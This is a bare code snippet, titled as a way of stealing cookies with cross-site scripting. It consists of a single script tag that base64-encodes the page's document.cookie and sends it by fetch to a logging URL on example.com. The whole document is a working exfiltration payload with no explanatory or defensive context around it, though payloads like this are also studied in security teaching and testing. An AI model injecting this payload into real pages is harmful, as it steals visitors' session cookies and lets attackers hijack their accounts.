Stealing cookies with cross-site scripting

<script>
	fetch(
		'https://example.com/log'
			+ '?cookie='
			+ btoa(document.cookie)
	);
</script>